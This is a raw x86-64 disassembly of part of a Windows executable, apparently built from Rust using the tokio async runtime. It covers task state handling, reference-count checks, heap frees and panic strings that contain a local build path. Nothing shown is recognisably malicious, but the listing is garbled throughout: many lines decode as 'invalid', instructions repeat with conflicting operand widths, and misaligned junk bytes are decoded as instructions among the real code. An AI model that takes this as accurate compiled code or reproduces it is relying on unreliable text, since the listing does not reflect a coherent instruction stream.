ror byte [rdi], 0x88
add r8, qword [rax]
add byte [rax - 0x7d], cl
ret 0x4140
invalid
invalid
test rax, rax
js 0x14008c3c5
add rdx, 0x40
mov r8b, 1
invalid
mov r8b, 1
add dword [rax - 0x39], ecx
mov qword [rsp + 0x40], 1
and al, 0x40
add dword [rax], eax
add byte [rax], al
mov r9, rbx
mov qword [r9], rdx
cmp dword [rsp + 0x40], 1
jne 0x14008c0a6
mov rdx, qword [rsp + 0x70]
lock cmpxchg qword [rsi], rdx
cmpxchg qword [rsi], rdx
cmpxchg qword [rsi], rdx
jne 0x14008c010
push 0xffffffffffffffff
invalid
movzx eax, r8b
lea rcx, [0x14019448c]
adc byte [rax], al
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
or dword [rax + 1], 0x4ce0ffc8
mov ecx, esi
mov rdx, rsi
bnd call fcn.1400ff170
add byte [rax - 0x39], cl
rol al, 0xff
invalid
invalid
add byte [rax - 0x39], cl
rol al, 0xff
invalid
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008c415
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x14008c0b8.0
test edi, ebp
add dword [rax], eax
invalid
jne case.0x14008c0b8.0
test edi, ebp
add dword [rax], eax
add byte [rcx - 0x75], cl
invalid
mov rax, qword [r14]
lock dec qword [rax]
jne case.0x1400679a0.128
mov rcx, r14
int1
call fcn.14002ded0
cli
dec dword [rax - 0x77]
mov rcx, rdi
mov rcx, rdi
jmp 0x14008c116
or dword [rax - 0x73], ecx
and al, r13b
mov esi, 0x48fffa1d
lea ecx, [rsi + 0x30]
call fcn.14007eaa0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14008c131
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
sbb al, 0x31
adc dword [rax], eax
sbb al, 0x31
adc dword [rax], eax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14008c0b8.0
invalid
add byte [rax + 0x687402f9], al
cmp cl, 2
je 0x14008c1b6
mov rbx, qword [rsi + 0x28]
movzx eax, cl
cmp eax, 1
je 0x14008c188
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
jle 0x14008c1bd
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008c1b9
xorps xmm6, xmm6
mov rcx, rdi
mov ecx, edi
call fcn.140069230
mov byte [rsi + 0xa8], 4
outsd dx, dword [rsi]
sar ch, 1
inc esi
xchg byte [rax + 0x4000000], ch
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008c24b
cmp eax, 1
je 0x14008c219
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x11311a
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
invalid
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rcx
jmp 0x14008c24e
add bl, ch
add ecx, dword [rdi]
push rdi
test byte [rax - 0x77], 0xf9
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140069230
mov qword [rsi + 0x30], 0
xor byte [rax], r8b
add byte [rax], al
invalid
xor byte [rax], r8b
add byte [rax], al
add dh, al
mov byte [rsi + 0xa8], 3
mov byte [rsi + 0xa8], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add byte [rbx + 0x4c7402f8], al
cmp eax, 1
je 0x14008c2b6
invalid
mov rcx, rsi
call 0x140081af0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x140167e50]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x40]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
xor byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x20]
call fcn.1401224d0
int3
add byte [rax], al
add dword [rbx + 0x112cee05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140069230
mov byte [rsi + 0xa8], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008c6bf
cmp eax, 1
je 0x14008c6a5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008c756
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008c731
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008c6f2
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.14007eaa0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14008c711
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
and r8b, sil
dec qword [rax]
jne 0x14008c7a7
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.14007eaa0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14008c7c6
mov rcx, qword [rsi + 0xc8]
enter 0, 0
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
pop rsi
or dword [rax], eax
int3
and byte [rax - 0x77], cl
invalid
add esi, dword [rdx + rsi*2 + 0x48]
mov eax, 0xffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
cmp eax, 0x3f
cmp eax, 0x3f
jbe 0x14008ca81
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008c8dc
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008c871
lea rcx, [rsi + 0x20]
call fcn.14002ded0
and al, ch
pop rdi
invalid
lea rcx, [rsi + 0x30]
call fcn.14007eaa0
mov rax, qword [rsi + 0xc0]
mov eax, dword [rsi + 0xc0]
mov eax, dword [rsi + 0xc0]
add byte [rax], al
test rax, rax
je 0x14008c890
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
invalid
mov cs, eax
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
or eax, 0x1129bd
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14008c8e9
xorps xmm6, xmm6
cmp eax, 1
je 0x14008c916
jmp 0x14008c942
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
invalid
xor byte [rbx + 0x5f], bl
pop rsi
ret
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add byte [rax], al
invalid
add byte [rax], al
add dword [rbx + 0x1129f005], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0x100
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0x100
lea rdi, [rsi + 0x30]
jle 0x14008c976
mov rcx, rdi
call fcn.140069230
mov byte [rsi + 0xa8], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
ror dword [rdi], 0xb6
sub byte [rax], 1
add byte [rax], al
cmp eax, 2
je 0x14008c9d8
cmp eax, 1
add dword [rbp + rbp - 0x75], esi
add eax, 0x11298d
je 0x14008c9a6
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add byte [rax], al
invalid
add byte [rax], al
add dword [rbx + 0x11296005], ecx
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x14008c9df
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140069230
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov dword [rsi + 0x38], 0
mov dword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
mov byte [rsi + 0xa8], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
sub byte [rax], 1
add byte [rax], al
sub byte [rax], 1
add byte [rax], al
cmp eax, 2
je 0x14008ca6d
cmp eax, 1
je 0x14008ca53
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
invalid
xor byte [rbx + 0x5f], bl
pop rsi
jmp 0x140081af0
invalid
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
or dword [rax], eax
int3
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14008cb04
test al, 4
je 0x14008d121
invalid
add byte [rax + 0x48db7403], ch
cmp eax, 0x3f
test al, 3
je 0x14008cac0
cmp rax, 0x3f
jbe 0x14008d139
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne case.default.0x14008cb15
movzx eax, dl
lea rcx, [0x14019449c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14016a168]
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
mov qword [rsp + 0x38], rsi
and al, 0x38
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rdi], cl
mov dh, 0x46
push rax
add byte [rax], al
add byte [rdi], cl
mov dh, 0x46
push rax
and al, 6
cmp al, 4
je 0x14008d181
lea rdi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
mov cl, 0x27
adc dword [rax], eax
mov cl, 0x27
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008cd21
mov rbx, qword [rsi + 0x28]
cmp eax, 1
invalid
je 0x14008cbaf
invalid
add dword [rsi + rbp - 0x75], esi
add eax, 0x112785
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
add byte [rax], al
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
invalid
add dword [rbx + 0x11275705], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
adc byte [rax + 0xf8], dh
adc byte [rax + 0xf8], dh
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
jmp case.0x14004b6c6.216
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
invalid
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008cc63
invalid
mov rdi, qword fs:[rsi + 0x28]
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je 0x14008cc35
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x140100f70]
lea edx, [0x140100f70]
invalid
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add byte [rcx], al
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
jmp 0x14008cc66
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
mov ecx, edi
call fcn.140067620
mov byte [rsi + 0x50], 5
mov eax, dword [0x14019f30c]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008ccf9
cmp eax, 1
je 0x14008ccc7
mov eax, dword [0x14019f30c]
add eax, 0x11266c
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
invalid
mov ebx, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x742b5
invalid
add al, ch
invalid
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add dh, al
sub dword [rax], 1
add byte [rax], al
add dword [rbx + 0x11263f05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008cd00
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
invalid
test byte [rax - 0x77], 0xf9
mov rcx, rdi
call fcn.140067620
mov qword [rsi + 0x30], 1
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x48], rbx
jmp 0x14008d005
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x48], rbx
jmp 0x14008d005
xorps xmm6, xmm6
lea rbx, [rsp + 0x70]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
stc
mov rdx, rbx
call fcn.14009def0
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
cmp ecx, 2
je case.0x140057c9f.190
cmp ecx, 1
je 0x14008cd8a
mov ebp, eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, ebp
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
movups xmmword [rcx + 0xf8], xmm6
mov cl, 1
mov cl, 0xf8
clc
add byte [rax], al
add byte [rcx + 0xfc08401], dh
test al, al
je 0x14008cef3
test al, al
je 0x14008cef3
lea r14, [rsi + 0x20]
lea esi, [rsi + 0x20]
jbe 0x14008cdd2
mov rax, qword [rsi]
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
nop word [rax + rax]
test al, 1
je 0x14008d151
test al, 0x20
jne case.0x140057a1f.161
and edx, 0xffffffde
test al, 4
jne case.0x140059890.153
invalid
fisubr word [rax + 0x48497504]
cmp eax, 0x3f
invalid
cmp rax, 0x3f
cmp rax, 0x3f
jbe 0x14008d139
add byte [rax], al
add byte [rax - 0x7d], cl
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
cmp edx, 0x40
ret 0x48c0
cmp edx, 0x40
setb r8b
add r8b, r8b
invalid
shr bl, 0x3e
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
jmp 0x14008ce30
add byte [rcx - 0x50], al
add ecx, dword [rcx - 0x77]
leave
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x40], 1
invalid
add dword [rsp + rsi - 0x15], esi
nop word cs:[rax + rax]
invalid
je 0x14008ce46
jmp 0x14008ce56
test rax, rax
js 0x14008d169
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x7d], cl
ret 0x4140
add rdx, 0x40
mov r8b, 1
invalid
mov qword [rsp + 0x40], 1
mov r9, rbx
mov qword [r9], rdx
cmp dword [rsp + 0x40], 1
jne 0x14008ce56
add byte [rcx - 0x77], cl
invalid
mov rdx, qword [rsp + 0x70]
push rsp
and al, 0x70
lock cmpxchg qword [rsi], rdx
mov cl, 0x16
jne case.0x140057811.175
movzx eax, r8b
lea rcx, [0x1401944ac]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
add eax, ecx
jmp rax
mov rcx, r14
mov rdx, rsi
call fcn.1400ff170
mov rax, 0xffffffffffffffc0
sar bh, 0xff
invalid
sar bh, 0xff
push rax
lock xadd qword [rsi], rax
lock xadd qword [rsi], rax
xadd dword [rsi], eax
cmp rax, 0x3f
jbe 0x14008d1b9
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x14008cb15.66
jne case.0x14008cb15.66
mov rax, qword [r14]
lock dec qword [rax]
or byte [rbp + 8], dh
or byte [rbp + 8], dh
mov rcx, r14
call fcn.14002ded0
mov rcx, rdi
jmp 0x14008cec6
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008cec2
lea rcx, [rsi + 0x20]
call fcn.14002ded0
and al, ch
invalid
lea rcx, [rsi + 0x30]
call fcn.140067620
mov rax, qword [rsi + 0x68]
mov eax, dword [rsi + 0x68]
mov eax, dword [rsi + 0x68]
test rax, rax
je 0x14008cedb
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov eax, dword [rsi - 8]
mov rcx, qword [0x14019f258]
jb 0x14008cf07
adc dword [rax], eax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14008cb15.66
cmp cl, 2
je 0x14008cf60
mov rbx, qword [rsi + 0x28]
movzx eax, cl
cmp eax, 1
je 0x14008cf32
mov eax, dword [0x14019f30c]
and al, 0x11
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
adc dword [rax], eax
mov rcx, qword gs:[0x58]
and eax, 0x58
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x14008cf63
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067620
mov byte [rsi + 0x50], 5
push rax
add eax, 0x2397058b
adc dword [rax], eax
push rax
add eax, 0x2397058b
adc dword [rax], eax
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008cff2
cmp eax, 1
je 0x14008cfc0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
add byte [rax - 0x73], cl
adc eax, 0x73fbc
add byte [rax - 0x73], cl
adc eax, 0x73fbc
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
and r10d, dword [rcx]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
sub byte [rax - 0x39], r9b
cmp al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
sub byte [rax - 0x39], r9b
cmp al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov byte [rax], al
add byte [rcx], al
add byte [rax], al
jmp 0x14008cff5
xorps xmm6, xmm6
mov rcx, rdi
mov qword [rax + 0x100], rcx
jmp 0x14008cff5
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067620
mov qword [rsi + 0x30], 0
add byte [rax], al
invalid
mov byte [rsi + 0x50], 4
mov eax, dword [0x14019f30c]
and dl, byte [rcx]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add byte [rbx + 0x4c7402f8], al
cmp eax, 1
je 0x14008d05a
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call 0x1400803a0
movaps xmm6, xmmword [rsp + 0x90]
add byte [rax], al
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008d119
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008d0e8
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp case.0x14006b64f.129
xorps xmm6, xmm6
jmp case.0x14006b64f.129
lea rcx, str.assertion_failed:_next.is_notified__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x140167e50]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
stc
scasd eax, dword [rdi]
or eax, 0x2fba00
add byte [rax], al
stc
scasd eax, dword [rdi]
or eax, 0x2fba00
add byte [rax], al
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x40]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
test eax, eax
je 0x14008d214
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rdi + 0x50], 5
cmp al, 4
jne 0x14008d2cd
movups xmm0, xmmword [rdi + 0x30]
movups xmm1, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsi]
cmp rax, 2
cmp eax, 2
cmp eax, 2
